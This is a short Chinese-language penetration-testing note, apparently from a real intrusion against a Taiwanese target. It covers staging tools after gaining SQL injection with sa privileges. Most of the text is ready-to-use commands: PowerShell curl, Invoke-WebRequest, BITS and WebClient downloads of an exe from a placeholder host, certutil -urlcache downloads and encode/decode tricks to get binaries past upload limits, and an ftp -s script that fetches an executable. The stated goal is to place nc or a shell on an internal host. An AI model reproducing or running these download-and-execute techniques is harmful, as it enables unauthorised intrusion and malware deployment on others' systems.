场景:
在过去我在做某次台湾渗透的过程中遇到了一个sql注入,数据库权限是sa权限,主机在内网无法直接登录,我们需要上传nc或者其他的转发程序将其转发出来,即便不行,我们也需要上传一个shell,但是基于没有后台的情况下,我们只能将希望寄托于sa。
应用:
Powershell
certutil
ftp
Powershell
在windows版本中powershell支持部分linux命令。如curl,所以可以在系统支持powershell的情况下我们可以使用:
curl -O http://xxxxx/1.exe
来进行下载执行。当然还有其他的方式,powershell自带的不止curl一种,我们还可以使用:
Invoke-WebRequest
Invoke-RestMethod
Start-BitsTransfer
System.Net.WebClient
来进行下载,用法分别为:
Invoke-WebRequest -Uri http://xxxxx/1.exe -outfile 1.exe
Invoke-RestMethod -Uri http://xxxxx/1.exe -outfile 1.exe
Start-BitsTransfer -Source "http://xxxx/1.exe" -Destination "1.exe"
(new-object System.Net.WebClient).DownloadFile('http://xxxxx/1.exe', '1.exe'))
Certutil
certutil.exe -urlcache -split -f 指定url 指定路径
我们在上传过程中二进制文件是会出错的,它仅可以将头文件上传,并不可以上传完整的文件。所以在过程中我们同样可以使用certutil对二进制文件进行编码转换。
certutil.exe -encode 文件路径+文件名 转换后文件名字.txt
解码的过程使用:
certutil.exe -decode 文件路径+文件名 转换后文件名
加解密后保存路径为同一路径。
有时候我们无法使用http的时候我们可以优先选择使用ftp,首先我们需要在公网架设一个ftp,然后使用命令语法将ftp的配置写入。
配置内容为:
open 127.0.0.1 //打开ftp
username //账号
password //密码
get 1.exe d:\1.exe //下载文件到指定目录
bye //退出
然后使用ftp -s:文件名 执行该ftp配置文件即可。